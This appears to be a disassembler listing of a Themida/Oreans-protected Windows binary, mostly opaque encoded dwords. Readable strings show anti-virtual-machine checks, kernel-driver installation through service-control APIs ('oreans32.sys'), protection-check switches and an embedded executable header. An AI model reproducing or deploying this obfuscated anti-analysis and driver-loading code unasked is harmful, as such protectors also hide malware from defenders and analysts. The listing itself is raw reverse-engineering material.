		dd 8F0F0000h, 6, 10598D89h, 37BE0607h, 811AE0B6h, 1F62D6C6h
		dd 5BBB66E5h, 8930FF99h, 7178DB5h, 66605F06h, 5272DF81h
		dd 10E98501h, 81610607h, 0A571E4C7h, 8DB5311Ah,	81060717h
		dd 6B3D6F7h, 7D950931h,	81060717h, 0E6EF14C7h, 0D9F3BA6Dh
		dd 8A576D14h, 66008FD8h, 8490E981h, 5004E883h, 0EE9h, 0F1DFCB00h
		dd 1A58265Ch, 5AA1D210h, 5A72DF76h, 1EE81h, 850F0000h
		dd 0FFFFFF99h, 0EBD78B66h, 2E5C5C1Eh, 4349535Ch, 5C5C0045h
		dd 49535C2Eh, 44495657h, 2E5C5C00h, 49544E5Ch, 8B004543h
		dd 830FC0h, 83000000h, 73101BDh, 9750006h, 0A55BD83h, 74000607h
		dd 8B535019h, 40FB8C0h,	85890000h, 6072BADh, 0B3F29D8Dh
		dd 0D3FF0609h, 0BD83585Bh, 6070A55h, 50177400h,	40FB853h
		dd 85890000h, 6072BADh,	0B0E19D8Dh, 0D3FF0609h,	0F781585Bh
		dd 6EF2B3B6h, 7E9h, 1F7FFC00h, 0D5EFE5DFh, 0B58BC08Bh
		dd 6071E49h, 1C4D85C6h,	89430607h, 72A1595h, 4E806h, 6EFC0000h
		dd 8B66BC8Eh, 506050F3h, 5EDF8B66h, 960DCDBAh, 448B6173h
		dd 13E90424h, 9000000h,	95788B1Bh, 0A6685C33h, 66D2FF42h
		dd 37D7B64Dh, 8B7EDCh, 89C88B66h, 0E9042444h, 6, 7652250Ah
		dd 0E85888A7h, 0Ah, 3C8A4954h, 0E0845BDDh, 0FF5E894Ch
		dd 701A9B5h, 12E806h, 0D12B0000h, 6D87557Ch, 6EC09D9h
		dd 3C74251Ch, 629BBC07h, 2CADB531h, 8D590607h, 73A1385h
		dd 0ADE8106h, 0FF215F22h, 45B58BD0h, 5006070Fh,	0C6BEBA66h
		dd 0E9240489h, 0Ch, 37E6B9Dh, 12A73089h, 0F734DFE8h, 0BF0F006Ah
		dd 1A3E68C9h, 525094BAh, 240457BEh, 0F310F1Bh, 0D89h, 7E800h
		dd 64BB0000h, 4693B53Dh, 585A5A50h, 42240481h, 896B45E6h
		dd 707B99Dh, 81036A06h,	28A71CD2h, 6A006A5Eh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 6A63C352h, 4E803h, 0
		dd 5250C000h, 6653310Fh, 5FD9EDBFh, 8B50585Ah, 0F042444h
		dd 1187h, 0BA525000h, 57305CBh,	8D0F310Fh, 0
		dd 8B585Ah, 0F88B6660h,	209A12BBh, 44896174h, 0BF660424h
		dd 89586991h, 70FA9BDh,	0F49D8D06h, 6A0609A7h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 783C356h, 0AE7CB40Dh, 21063BA3h, 91658DBAh, 958B5366h
		dd 6070F55h, 7E8505Eh, 0C9000000h, 8856F1F9h, 27B9071Ch
		dd 5F283A68h, 8B241C89h, 89D0FFCAh, 726C585h, 850F4006h
		dd 2ADh, 0F58D2B2h, 68Ch, 0FD8D8900h, 5006071Ah, 374CB966h
		dd 0F240489h, 285h, 6AEF8A00h, 55BD3100h, 6806071Fh, 58FC14ACh
		dd 52505250h, 310F5250h, 310F585Ah, 5E8h, 9D48B500h, 5A5FAB96h
		dd 60310F58h, 6E95857h,	0A0000000h, 0EF056D3Bh,	585A61F5h
		dd 2C243481h, 8958FC14h, 700799Dh, 66036A06h, 6AD68Bh
		dd 0BE8h, 1B568200h, 252F5B3Eh,	5A1EBDE5h, 12459589h, 6A5A0607h
		dd 65C98103h, 0E800C0B9h, 4, 0C0000000h, 0BBE6656h, 0F505942h
		dd 48Bh, 0A4B96600h, 24448BDDh,	66008B04h, 4489CF8Bh, 0F98B0424h
		dd 0CFB70F58h, 0FD9D8DFCh, 890609A7h, 715B59Dh,	0FB19306h
		dd 8932BE50h, 0B993105Ch, 22A914DFh, 9531D0FFh,	6070701h
		dd 0CA850F40h, 66000001h, 0E958CE8Bh, 13h, 0AF147CDAh
		dd 0A8DEA475h, 0EA17D9C3h, 50579785h, 907576B0h, 8AE7BE66h
		dd 8B0F50h, 90000000h, 12E8h, 9ED0FC00h, 0BF5E0385h, 72997FA6h
		dd 47C36ED5h, 81C11ED2h, 0BAC6F0EAh, 6A5F6Bh, 1E618D8Bh
		dd 4E80607h, 80000000h,	60000000h, 0BE8h, 51EFE100h, 29AD1C0Eh
		dd 0D64FA22Dh, 310F5250h, 615B585Ah, 0BE950h, 6A050000h
		dd 87D6691Ch, 0BAFA8814h, 24448B3Ch, 1CBA6604h,	50008BAAh
		dd 6860F52h, 0F000000h,	87h, 5A310F00h,	24448958h, 0F18B6604h
		dd 9E958h, 66290000h, 2229982Ah, 6AC7E224h, 919D8903h
		dd 6A06071Dh, 3025B900h, 36A04BEh, 0DE8h, 451B9300h, 0F2D45655h
		dd 8FAC99F1h, 9D89BCC9h, 607048Dh, 4E85Ah, 0
		dd 0CE9C000h, 9D000000h, 898CE7ABh, 77C18D2Bh, 50AA31FFh
		dd 424448Bh, 8BD18Bh, 66505250h, 5F04FEBFh, 0F88B310Fh
		dd 4489585Ah, 6A580424h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 2F31C350h, 0F89DBFDBh
		dd 8B1BD31h, 9D8D0607h,	609A808h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 4CC35646h, 9DDF8717h, 7B9BF66h
		dd 0F5935093h, 6AD0FFh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 0DA85EFC3h, 118D8B81h, 40060706h
		dd 33850Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 9A0E27C3h, 94A094A5h, 6DB9667Dh
		dd 0EE95832h, 8B000001h, 72141B5h, 0FD88B06h, 82h, 958B4B00h
		dd 60731B5h, 0E9BD0B58h, 0C606071Fh, 71C4D85h, 6A4306h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0F2C95DC3h, 3FD16C54h, 0FA967A5h, 681h, 9D8D8900h, 0E906070Bh
		dd 0Dh,	4A2930ABh, 0BF506CE5h, 4FAEB0B8h, 748A6882h, 9E8923Ch
		dd 0AA000000h, 0A3AD7E6Dh, 6DECDE80h, 6766CBB9h, 4815E76h
		dd 39D61D24h, 3985892Eh, 0FF060702h, 701A9B5h, 0E9CF8B06h
		dd 0Eh,	6C4F38E6h, 0F6829602h, 697FB625h, 858DFD67h, 6073A13h
		dd 837DBF66h, 0D0FFFB8Bh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 0EFC35141h, 61839791h, 29A2CF30h, 8B6650F4h
		dd 241C89F7h, 0BC7B5BFh, 0E281661Dh, 0D0FF6377h, 9AF9F681h
		dd 9D8D5C49h, 607715Dh,	0B8C7C280h, 1, 6E9E3FFh, 11000000h
		dd 0CBE9E987h, 8BC18B6Fh, 71B15BDh, 51C08B06h, 0DDB3E9BAh
		dd 0BD835F4Dh, 6073101h, 83097500h, 70A55BDh, 19740006h
		dd 0C08B5350h, 40FB8h, 7D858900h, 8D060721h, 9B4599Dh
		dd 5BD3FF06h, 55BD8358h, 6070Ah, 53501774h, 40FB8h, 7D858900h
		dd 8D060721h, 9B0FA9Dh,	5BD3FF06h, 13E958h, 0F7C30000h
		dd 0B9702A0Eh, 222CF7A1h, 33D549C9h, 9938C01Ch,	4D8D8B15h
		dd 906071Bh, 718C585h, 0E9C08B06h, 0AAh, 74666F53h, 65726177h
		dd 6E69575Ch, 6563694Ch, 65736Eh, 63656843h, 4E496Bh, 6F727058h
		dd 69784574h, 68430074h, 4F6B6365h, 57005455h, 694C6E69h
		dd 736E6563h, 72655665h, 6E6F6973h, 6E695700h, 6563694Ch
		dd 4465736Eh, 65766972h, 72655672h, 6E6F6973h, 6E695700h
		dd 6563694Ch, 4965736Eh, 6174736Eh, 65636Eh, 74697845h
		dd 50006B4Fh, 49636F72h, 7250004Eh, 554F636Fh, 78450054h
		dd 4E497469h, 69784500h, 54554F74h, 49705400h, 4Eh, 2 dup(0)
		dd 0AF7F0000h, 72F077DDh, 96E977DDh, 89000005h,	9AF1585h
		dd 11858D06h, 500609AFh, 0AE7B858Dh, 68500609h,	80000001h
		dd 0AF2195FFh, 196A0609h, 0AF15B5FFh, 16A0609h,	858D006Ah
		dd 609AEAAh, 11B5FF50h,	0FF0609AFh, 7314D95h, 11B5FF06h
		dd 0FF0609AFh, 9AF1D95h, 11B5FF06h, 0FF0609AFh,	71D2D95h
		dd 8589C306h, 609AF15h,	0AF11858Dh, 8D500609h, 9AE7B85h
		dd 1685006h, 0FF800000h, 9AF2195h, 8D046A06h, 9AF1585h
		dd 46A5006h, 858D006Ah,	609AED4h, 11B5FF50h, 0FF0609AFh
		dd 7314D95h, 11B5FF06h,	0FF0609AFh, 9AF1D95h, 11B5FF06h
		dd 0FF0609AFh, 71D2D95h, 8589C306h, 609AF15h, 0AF11858Dh
		dd 8D500609h, 9AE7B85h,	1685006h, 0FF800000h, 9AF2195h
		dd 8D046A06h, 9AF1585h,	46A5006h, 858D006Ah, 609AEBCh
		dd 11B5FF50h, 0FF0609AFh, 7314D95h, 11B5FF06h, 0FF0609AFh
		dd 9AF1D95h, 11B5FF06h,	0FF0609AFh, 71D2D95h, 8589C306h
		dd 609AF15h, 0AF11858Dh, 8D500609h, 9AE7B85h, 1685006h
		dd 0FF800000h, 9AF2195h, 8D046A06h, 9AF1585h, 46A5006h
		dd 858D006Ah, 609AEE7h,	11B5FF50h, 0FF0609AFh, 7314D95h
		dd 11B5FF06h, 0FF0609AFh, 9AF1D95h, 11B5FF06h, 0FF0609AFh
		dd 71D2D95h, 8589C306h,	609AF15h, 0AF11858Dh, 8D500609h
		dd 9AE7B85h, 1685006h, 0FF800000h, 9AF2195h, 8D046A06h
		dd 9AF1585h, 46A5006h, 858D006Ah, 609AE97h, 11B5FF50h
		dd 0FF0609AFh, 7314D95h, 11B5FF06h, 0FF0609AFh,	9AF1D95h
		dd 11B5FF06h, 0FF0609AFh, 71D2D95h, 0BD83C306h,	6072FB5h
		dd 0B840F00h, 8B000000h, 72FB59Dh, 4CC38306h, 83C30389h
		dd 72FB5BDh, 840F0006h,	0Bh, 2FB59D8Bh,	0C3830607h, 0C3038950h
		dd 2FB5BD83h, 0F000607h, 0B84h,	0B59D8B00h, 8306072Fh
		dd 38954C3h, 0B5BD83C3h, 6072Fh, 0B840Fh, 9D8B0000h, 6072FB5h
		dd 8958C383h, 0BD83C303h, 6072FB5h, 0B840F00h, 8B000000h
		dd 72FB59Dh, 5CC38306h,	0C3C30389h, 15858960h, 8D0609AFh
		dd 9AF1185h, 858D5006h,	609AE7Bh, 16850h, 95FF8000h, 609AF21h
		dd 858D046Ah, 609AF15h,	6A046A50h, 0C858D00h, 500609AFh
		dd 0AF11B5FFh, 95FF0609h, 607314Dh, 3101BD83h, 0F000607h
		dd 0C84h, 11B5FF00h, 0FF0609AFh, 9AF1D95h, 11B5FF06h, 0FF0609AFh
		dd 71D2D95h, 60C36106h,	0AF158589h, 858D0609h, 609AF11h
		dd 7B858D50h, 500609AEh, 168h, 2195FF80h, 6A0609AFh, 15858D04h
		dd 500609AFh, 6A046Ah, 0AEEE858Dh, 0FF500609h, 9AF11B5h
		dd 4D95FF06h, 83060731h, 73101BDh, 840F0006h, 0Ch, 0AF11B5FFh
		dd 95FF0609h, 609AF1Dh,	0AF11B5FFh, 95FF0609h, 6071D2Dh
		dd 8960C361h, 9AF1585h,	11858D06h, 500609AFh, 0AE7B858Dh
		dd 68500609h, 80000001h, 0AF2195FFh, 46A0609h, 0AF15858Dh
		dd 6A500609h, 8D006A04h, 9AEF585h, 0B5FF5006h, 609AF11h
		dd 314D95FFh, 0BD830607h, 6073101h, 0C840F00h, 0FF000000h
		dd 9AF11B5h, 1D95FF06h,	0FF0609AFh, 9AF11B5h, 2D95FF06h
		dd 6106071Dh, 858960C3h, 609AF15h, 0AF11858Dh, 8D500609h
		dd 9AE7B85h, 1685006h, 0FF800000h, 9AF2195h, 8D046A06h
		dd 9AF1585h, 46A5006h, 858D006Ah, 609AEFDh, 11B5FF50h
		dd 0FF0609AFh, 7314D95h, 1BD8306h, 60731h, 0C840Fh, 0B5FF0000h
		dd 609AF11h, 0AF1D95FFh, 0B5FF0609h, 609AF11h, 1D2D95FFh
		dd 0C3610607h, 15858960h, 8D0609AFh, 9AF1185h, 858D5006h
		dd 609AE7Bh, 16850h, 95FF8000h,	609AF21h, 858D046Ah, 609AF15h
		dd 6A046A50h, 4858D00h,	500609AFh, 0AF11B5FFh, 95FF0609h
		dd 607314Dh, 3101BD83h,	0F000607h, 0C84h, 11B5FF00h, 0FF0609AFh
		dd 9AF1D95h, 11B5FF06h,	0FF0609AFh, 71D2D95h, 60C36106h
		dd 0AF1585C7h, 10609h, 858D0000h, 609AF11h, 7B858D50h
		dd 500609AEh, 268h, 2195FF80h, 0B0609AFh, 0F840FC0h, 0C7000000h
		dd 9AF1585h, 6,	4DE900h, 46A0000h, 0AF15858Dh, 6A500609h
		dd 8D006A04h, 9AE8F85h,	0B5FF5006h, 609AF11h, 314D95FFh
		dd 0C00B0607h, 0F840Fh,	85C70000h, 609AF15h, 0
		dd 0AE9h, 1585C700h, 10609AFh, 0FF000000h, 9AF11B5h, 2D95FF06h
		dd 6106071Dh, 0AF15858Bh, 60C30609h, 0AF158589h, 858D0609h
		dd 609AF11h, 7B858D50h,	500609AEh, 168h, 2195FF80h, 6A0609AFh
		dd 15858D04h, 500609AFh, 6A046Ah, 0AE8F858Dh, 0FF500609h
		dd 9AF11B5h, 4D95FF06h,	83060731h, 73101BDh, 840F0006h
		dd 0Ch,	0AF11B5FFh, 95FF0609h, 609AF1Dh, 0AF11B5FFh, 95FF0609h
		dd 6071D2Dh, 8960C361h,	9AF1585h, 11858D06h, 500609AFh
		dd 0AE7B858Dh, 68500609h, 80000001h, 0AF2195FFh, 46A0609h
		dd 0AF15858Dh, 6A500609h, 8D006A04h, 9AEA185h, 0B5FF5006h
		dd 609AF11h, 314D95FFh,	0BD830607h, 6073101h, 0C840F00h
		dd 0FF000000h, 9AF11B5h, 1D95FF06h, 0FF0609AFh,	9AF11B5h
		dd 2D95FF06h, 6106071Dh, 4D85C6C3h, 5206071Ch, 0E47B0768h
		dd 89B5FFADh, 0FF060715h, 7182995h, 21858906h, 0C60609AFh
		dd 71C4D85h, 0E5685206h, 0FF902E00h, 71589B5h, 2995FF06h
		dd 89060718h, 9AF1D85h,	4D85C606h, 5206071Ch, 0BF123568h
		dd 89B5FFB9h, 0FF060715h, 7182995h, 4D858906h, 0C6060731h
		dd 71C4D85h, 34685206h,	0FF987810h, 71589B5h, 2995FF06h
		dd 89060718h, 71D2D85h,	4D85C606h, 5206071Ch, 5DBD468h
		dd 89B5FFC0h, 0FF060715h, 7182995h, 45858906h, 0E9060705h
		dd 99h,	6775622Fh, 63656863h, 2F00326Bh, 63677562h, 6B636568h
		dd 6F662F00h, 72656372h, 2F006E75h, 63677562h, 6B636568h
		dd 6C6C7566h, 68732F00h, 6F63776Fh, 2F006564h, 776F6873h
		dd 65646F63h, 632F0032h, 74726Ch, 7369642Fh, 732F0031h
		dd 69776F68h, 6174736Eh, 65636Eh, 7465672Fh, 74736C77h
		dd 73757461h, 6F6C2F00h, 61747367h, 737574h, 6D75642Fh
		dd 61747370h, 737574h, 0
aCheckprotectio	db '/checkprotection',0
		align 4
		dd 0DBBD8300h, 609B5h, 0A840Fh,	85C70000h, 6070A55h, 1
		dd 1C4D85C6h, 0E8470607h, 4, 906D6C8Dh,	24448B50h, 89008B04h
		dd 58042444h, 1A9B5FFh,	858D0607h, 6073A13h, 0D0FFD0FFh
		dd 3F80F88Bh, 22850F22h, 47000000h, 0FAE22B0h, 0FFFFF985h
		dd 3F80FFh, 31B840Fh, 80470000h, 840F003Fh, 311h, 1EE9h
		dd 3F8000h, 303840Fh, 3F800000h, 6850F20h, 47000000h, 6E9h
		dd 0E2E94700h, 80FFFFFFh, 850F003Fh, 5,	2E0E9h,	1E900h
		dd 80470000h, 840F203Fh, 0FFFFFFF6h, 0F003F80h,	585h, 2C3E900h
		dd 0AE80000h, 0E9000000h, 0FFFFFFCBh, 2B4E9h, 5BB58D00h
		dd 0E80609B5h, 225h, 0B5F0BD03h, 0BD830609h, 609B5F0h
		dd 0B840F00h, 0C7000000h, 7310185h, 106h, 0B58DC300h, 609B566h
		dd 1FCE8h, 0F0BD0300h, 830609B5h, 9B5F0BDh, 840F0006h
		dd 0Bh,	0A5585C7h, 10607h, 8DC30000h, 9B5DFB5h,	1D3E806h
		dd 0BD030000h, 609B5F0h, 0B5F0BD83h, 0F000609h,	0B84h
		dd 7985C700h, 106070Ch,	0C3000000h, 0B570B58Dh,	0AAE80609h
		dd 3000001h, 9B5F0BDh, 0F0BD8306h, 609B5h, 0B840Fh, 85C70000h
		dd 6070A55h, 1,	7AB58DC3h, 0E80609B5h, 181h, 0B5F0BD03h
		dd 0BD830609h, 609B5F0h, 15840F00h, 0C7000000h,	70A5585h
		dd 106h, 185C700h, 1060731h, 0C3000000h, 0B588B58Dh, 4EE80609h
		dd 3000001h, 9B5F0BDh, 0F0BD8306h, 609B5h, 0A840Fh, 85C70000h
		dd 6070FDDh, 1,	0B592B58Dh, 26E80609h, 3000001h, 9B5F0BDh
		dd 0F0BD8306h, 609B5h, 0A840Fh,	85C70000h, 6070FDDh, 1
		dd 0B59DB58Dh, 0FEE80609h, 3000000h, 9B5F0BDh, 0F0BD8306h
		dd 609B5h, 0A840Fh, 85C70000h, 6070181h, 1, 0B5A3B58Dh
		dd 0D6E80609h, 3000000h, 9B5F0BDh, 0F0BD8306h, 609B5h
		dd 0A840Fh, 85C70000h, 6072ACDh, 1, 0B5A9B58Dh,	0AEE80609h
		dd 3000000h, 9B5F0BDh, 0F0BD8306h, 609B5h, 0A840Fh, 85C70000h
		dd 607183Dh, 1,	0B5B7B58Dh, 86E80609h, 3000000h, 9B5F0BDh
		dd 0F0BD8306h, 609B5h, 0A840Fh,	85C70000h, 6070AE1h, 1
		dd 0B5C4B58Dh, 5EE80609h, 3000000h, 9B5F0BDh, 0F0BD8306h
		dd 609B5h, 0A840Fh, 85C70000h, 60723E5h, 1, 0B5CFB58Dh
		dd 36E80609h, 3000000h,	9B5F0BDh, 0F0BD8306h, 609B5h, 0A840Fh
		dd 85C70000h, 6071605h,	1, 1E9h, 3F804700h, 9840F20h, 80000000h
		dd 850F003Fh, 0FFFFFFEDh, 1B960C3h, 8B000000h, 1CE9DEh
		dd 3F800000h, 2850F00h,	2B000000h, 38178AC9h, 5840F16h
		dd 0B9000000h, 0
aFga		db 'FG>',0
		db 0Fh,	84h, 8
		dd 0B000000h, 0D3850FC9h, 0BFFFFFFh, 21840FC9h,	80000000h
		dd 840F003Fh, 9, 0F203F80h, 0A85h, 1B900h, 5E90000h, 0B9000000h
		dd 0
		dd 840FC90Bh, 0Dh, 0B589F32Bh, 609B5F0h, 0AE9h,	0F085C700h
		dd 609B5h, 61000000h, 0E8C88BC3h, 0Dh, 0DFDAC3D3h, 560A58F6h
		dd 590111D3h, 0E860603Bh, 11h, 0ABD6E574h, 0AD292D26h
		dd 0C4E6894h, 99F4FF14h, 0B5895EC9h, 6072E9Dh, 81596161h
		dd 7F28CEE7h, 0A2C1812Ah, 5100006Eh, 995B58Bh, 685A0607h
		dd 0
		dd 0BFD958Bh, 895B0607h, 7116185h, 0B34FF06h, 1CC19531h
		dd 0F580607h, 0F081FABFh, 2B3BD109h, 0BEE2BF66h, 0C470F081h
		dd 0E88167C8h, 2D1E47CEh, 2BE58D89h, 0E8500607h, 0Ch, 0E5821F0Ch
		dd 0FD5C9614h, 6682A628h, 161ABF66h, 19048F5Eh,	271E99BEh
		dd 3EB8316h, 1820Fh, 4BF90000h,	4618509h, 0FB810607h, 0FFFF9218h
		dd 0FF9B850Fh, 0BF66FFFFh, 0EE96771h, 33000002h, 6E6E6143h
		dd 7720746Fh, 65746972h, 65726F20h, 2E736E61h, 0A647876h
		dd 6B614D0Dh, 75732065h, 74206572h, 20746168h, 73696874h
		dd 6C696620h, 73692065h, 746F6E20h, 69656220h, 7520676Eh
		dd 20646573h, 61207962h, 68746F6Eh, 70207265h, 72676F72h
		dd 2E6D61h, 67h	dup(0)
		dd 5C000000h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
		dd 0EFE900h, 85C60000h,	6071C4Dh, 5B866847h, 0B5FFE3E4h
		dd 60701A9h, 3A13858Dh,	0D0FF0607h, 10468h, 559D8D00h
		dd 53060702h, 8D50D0FFh, 9BC32B5h, 32FE8B06h, 850FAEC0h
		dd 0FFFFFFF9h, 0CF8BFE2Bh, 3FB8B58h, 0C6A4F3F8h, 71C4D85h
		dd 0FC684306h, 0FFBC8E6Eh, 701A9B5h, 13858D06h,	0FF06073Ah
		dd 55B58DD0h, 6A060702h, 806800h, 26A0000h, 6A006Ah, 68h
		dd 0D0FF56C0h, 85C6D88Bh, 6071C4Dh, 0EE566857h,	0B5FFA69Bh
		dd 60701A9h, 3A13858Dh,	0D0FF0607h, 1259BD8Dh, 8D8D0607h
		dd 609BD58h, 6857006Ah,	37D0h, 0D0FF5351h, 850FC085h, 1Bh
		dd 0BA3AB58Dh, 858D0609h, 609A6B5h, 8D8DD0FFh, 607715Dh
		dd 0B8h, 0C6E1FF00h, 71C4D85h, 0A7684306h, 0FFC0764Ah
		dd 701A9B5h, 13858D06h,	0FF06073Ah, 0D0FF53D0h,	37D0B9C3h
		dd 0E80000h, 58000000h,	890EC083h, 2E908h, 0C38B0000h
		dd 37D0E9h, 905A4D00h, 300h, 400h, 0FFFF00h, 0B800h, 0
		dd 4000h, 8 dup(0)
		dd 0B000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h
		dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h
		dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0
		dd 1D175D00h, 737619DBh, 2 dup(73761988h), 6156E588h, 73761888h
		dd 73761988h, 73761888h, 63695288h, 73761968h, 88h, 0
		dd offset dword_450050+4BB0h
		dd 0
		dd 4000200h, 0
		dd 3800000h, 1400h, 4 dup(0)
		dd 20000h, 1C000h, 9000h, 0
		dd 7E00h, 0
		dd 0C400h, 100h, 0DC00h, 3 dup(0)
		dd 12C00h, 13800h, 2 dup(0)
		dd 14200h, 19600h, 1D200h, 0
		dd 1D200h, 0
		dd 100000h, 1400h, 37C000h, 1000h, 0Dh dup(0)
		dd 27C004h, 0
		dd 204500h, 100h, 1400h, 4F434C00h, 1000044h, 2000000h
		dd 3000000h, 4000000h, 5000000h, 6000000h, 7000000h, 8000000h
		dd 9000000h, 0A000000h,	0B000000h, 0C000000h, 0D000000h
		dd 0E000000h, 0F000000h, 10000000h, 11000000h, 12000000h
		dd 13000000h, 14000000h, 50580800h, 56544F52h, 4458h, 1030100h
		dd 300h, 0
		dd 13h dup(7000000h), 3C000000h, 7000000h, 1001800h, 72760h
		dd 500101ADh, 91000700h, 279B0101h, 1060027h, 179276Fh
		dd 181017Dh, 1890185h, 7018Dh, 95010175h, 71000727h, 27980101h
		dd 16B0007h, 277101h, 360h dup(0)
		dd 40000h, 100h, 52505800h, 5856544Fh, 44h, 80h, 8 dup(0)
		dd 72657600h, 5050h, 73763100h,	73763252h, 73763352h, 52h
		dd 786h	dup(0)
dword_569F68	dd 100h	dup(0)		; DATA XREF: Themida_:005476BAo
dword_56A368	dd 13Dh	dup(0)		; DATA XREF: Themida_:00557964o
		dd 1BE88300h, 7309F883h, 8524FF07h, 0
		dd 0C3F8h, 8 dup(0)
		dd 0C0330000h, 0C3C033C3h, 0C7E83h, 0C0330475h,	7E831AEBh
		dd 1475010Ch, 58Dh, 7E8B0000h, 0C7078918h, 42046h, 0C0330000h
		dd 50580CC3h, 56544F52h, 445F4458h, 4244h, 10A9E900h, 44410000h
		dd 49504156h, 442E3233h, 4F004C4Ch, 536E6570h, 6E614D43h
		dd 72656761h, 72430041h, 65746165h, 76726553h, 41656369h
		dd 61745300h, 65537472h, 63697672h, 47004165h, 614E7465h
		dd 65766974h, 74737953h, 6E496D65h, 4F006F66h, 536E6570h
		dd 69767265h, 416563h, 656C6544h, 65536574h, 63697672h
		dd 6C430065h, 5365736Fh, 69767265h, 61486563h, 656C646Eh
		dd 6E6F4300h, 6C6F7274h, 76726553h, 656369h, 8 dup(0)
aOreans32_sys	db 'oreans32.sys',0
		align 4
		dd 0
		dd 65726F00h, 78736E61h, 732E3436h, 7379h, 0
		dd 6F000000h, 6E616572h, 323373h, 5C2E5C5Ch, 6165726Fh
		dd 3233736Eh, 2E5C5C00h, 6F6C475Ch, 5C6C6162h, 6165726Fh
		dd 3233736Eh, 65726F00h, 78736E61h, 5C003436h, 475C2E5Ch
		dd 61626F6Ch, 726F5C6Ch, 736E6165h, 343678h, 42h dup(0)
aSystemroot	db 'SYSTEMROOT',0
aSSystem32Drive	db '%s\system32\drivers\%s',0
aSSyswow64Drive	db '%s\syswow64\drivers\%s',0
aSSystem32Dri_0	db '%s\system32\drivers\oreans32.sys',0
		align 4
		dd 48h dup(0)
		dd 43330000h, 6F6E6E61h, 70552074h, 65746164h, 65726F20h
		dd 2E736E61h, 20737973h, 76697264h, 202E7265h, 61656C50h
		dd 202C6573h, 656B616Dh, 72757320h, 68742065h, 79207461h
		dd 6820756Fh, 0A657661h, 6D64610Dh, 73696E69h, 74617274h
		dd 7327726Fh, 72657020h, 7374696Dh, 65687420h, 72696620h
		dd 74207473h, 20656D69h, 74616874h, 756F7920h, 65726120h
		dd 696F6720h, 7420676Eh, 7572206Fh, 6874206Eh, 70207369h
		dd 72676F72h, 2E6D61h, 59h dup(0)
		dd 43330000h, 6F6E6E61h, 706F2074h, 6F206E65h, 6E616572h
		dd 78762E73h, 72642064h, 72657669h, 614D202Eh, 7320656Bh
		dd 20657275h, 74616874h, 65726F20h, 2E736E61h, 0A647876h
		dd 2073690Dh, 20746F6Eh, 6E65706Fh, 20796220h, 746F6E61h
		dd 20726568h, 676F7270h, 2E6D6172h, 67h	dup(0)
		dd 53330000h, 72756365h, 676E4565h, 20656E69h, 76697264h
		dd 63207265h, 6F6E6E61h, 65622074h, 64707520h, 64657461h
		dd 63656220h, 65737561h, 65687420h, 61206572h, 73206572h
		dd 20656D6Fh, 676F7270h, 736D6172h, 69737520h, 0D0A676Eh
		dd 202E7469h, 20756F59h, 6465656Eh, 206F7420h, 736F6C63h
		dd 68742065h, 2065736Fh, 676F7270h, 736D6172h, 20726F20h
		dd 74736572h, 20747261h, 72756F79h, 6D6F6320h, 65747570h
		dd 0D0A2E72h, 74736552h, 20747261h, 3F776F6Eh, 0D9h dup(0)
		dd 5C5C0000h, 724F5C2Eh, 736E6165h, 6478762Eh, 2 dup(0)
		dd 25000000h, 724F5C73h, 736E6165h, 6478762Eh, 2 dup(0)
		dd 58000000h, 746F7270h, 6E657645h, 74h, 0Ah dup(0)
		dd 65530000h, 74756853h, 6E776F64h, 76697250h, 67656C69h
		dd 65h,	72430000h, 65746165h, 6E657645h, 50412074h, 72452049h
		dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h
		dd 65687420h, 69726420h, 726576h, 45746547h, 7269766Eh
		dd 656D6E6Fh, 6156746Eh, 62616972h, 4120656Ch, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 4D43536Eh
		dd 67616E61h, 41207265h, 45204950h, 726F7272h, 69687720h
		dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
		dd 72657669h, 65724300h, 53657461h, 69767265h, 41206563h
		dd 45204950h, 726F7272h, 69687720h, 6520656Ch, 61727478h
		dd 6F697463h, 6874206Eh, 72642065h, 72657669h, 6F6C4300h
		dd 65536573h, 63697672h, 6E614865h, 20656C64h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 65536E65h
		dd 63697672h, 50412065h, 72452049h, 20726F72h, 6C696877h
		dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h
		dd 726576h, 72617453h, 72655374h, 65636976h, 49504120h
		dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
		dd 206E6F69h, 20656874h, 76697264h, 41007265h, 20434950h
		dd 6F727265h, 43203A72h, 6F6E6E61h, 69662074h, 5020646Eh
		dd 65636F72h, 726F7373h, 6F432073h, 6F72746Eh, 6C42206Ch
		dd 736B636Fh, 6C50202Eh, 65736165h, 630D0A2Ch, 61746E6Fh
		dd 69207463h, 406F666Eh, 6165726Fh, 632E736Eh, 66206D6Fh
		dd 7420726Fh, 20736968h, 6F727265h, 72h, 1040000h, 53330000h
		dd 7972726Fh, 6874202Ch, 61207369h, 696C7070h, 69746163h
		dd 63206E6Fh, 6F6E6E61h, 75722074h, 6E75206Eh, 20726564h
		dd 69562061h, 61757472h, 614D206Ch, 6E696863h, 65h, 6Fh	dup(0)
		dd 10000000h, 0
		dd 0FFFF0001h, 17FFEh, 10000h, 24A0000h, 0
		dd 0F0001h, 94000408h, 5000000h, 1000000h, 28000000h, 200000Ah
		dd 21h dup(0)
		dd 8B000000h, 258589C4h, 0B5060708h, 0FD85890Dh, 66060706h
